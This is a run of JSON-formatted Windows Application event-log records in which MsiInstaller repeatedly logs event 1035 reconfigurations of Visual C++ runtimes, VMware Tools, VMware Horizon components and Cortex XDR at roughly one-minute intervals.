{"@timestamp":1657401850862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171463}}
{"@timestamp":1657401910543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171464}}
{"@timestamp":1657401910569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171465}}
{"@timestamp":1657401910620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171466}}
{"@timestamp":1657401910660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171467}}
{"@timestamp":1657401910689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171468}}
{"@timestamp":1657401910720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171469}}
{"@timestamp":1657401910747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171470}}
{"@timestamp":1657401910774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171471}}
{"@timestamp":1657401910814,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171472}}
{"@timestamp":1657401910844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171473}}
{"@timestamp":1657401970394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171474}}
{"@timestamp":1657401970421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171475}}
{"@timestamp":1657401970471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171476}}
{"@timestamp":1657401970510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171477}}
{"@timestamp":1657401970537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171478}}
{"@timestamp":1657401970568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171479}}
{"@timestamp":1657401970594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171480}}
{"@timestamp":1657401970620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171481}}
{"@timestamp":1657401970656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171482}}
{"@timestamp":1657401970683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171483}}
{"@timestamp":1657402030499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171484}}
{"@timestamp":1657402030525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171485}}
{"@timestamp":1657402030574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171486}}
{"@timestamp":1657402030616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171487}}
{"@timestamp":1657402030645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171488}}
{"@timestamp":1657402030677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171489}}
{"@timestamp":1657402030704,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171490}}
{"@timestamp":1657402030730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171491}}
{"@timestamp":1657402030767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171492}}
{"@timestamp":1657402030794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171493}}
{"@timestamp":1657402090497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171494}}
{"@timestamp":1657402090526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171495}}
{"@timestamp":1657402090577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171496}}
{"@timestamp":1657402090618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171497}}
{"@timestamp":1657402090647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171498}}
{"@timestamp":1657402090683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171499}}
{"@timestamp":1657402090713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171500}}
{"@timestamp":1657402090741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171501}}
{"@timestamp":1657402090780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171502}}
{"@timestamp":1657402090812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171503}}
{"@timestamp":1657402150535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171504}}
{"@timestamp":1657402150561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171505}}
{"@timestamp":1657402150611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171506}}
{"@timestamp":1657402150649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171507}}
{"@timestamp":1657402150676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171508}}
{"@timestamp":1657402150707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171509}}
{"@timestamp":1657402150733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171510}}
{"@timestamp":1657402150759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171511}}
{"@timestamp":1657402150795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171512}}
{"@timestamp":1657402150823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171513}}
{"@timestamp":1657402210548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171514}}
{"@timestamp":1657402210575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171515}}
{"@timestamp":1657402210626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171516}}
{"@timestamp":1657402210666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171517}}
{"@timestamp":1657402210694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171518}}
{"@timestamp":1657402210725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171519}}
{"@timestamp":1657402210751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171520}}
{"@timestamp":1657402210779,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171521}}
{"@timestamp":1657402210817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171522}}
{"@timestamp":1657402210846,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171523}}
{"@timestamp":1657402270563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171524}}
{"@timestamp":1657402270593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171525}}
{"@timestamp":1657402270644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171526}}
{"@timestamp":1657402270690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171527}}
{"@timestamp":1657402270719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171528}}
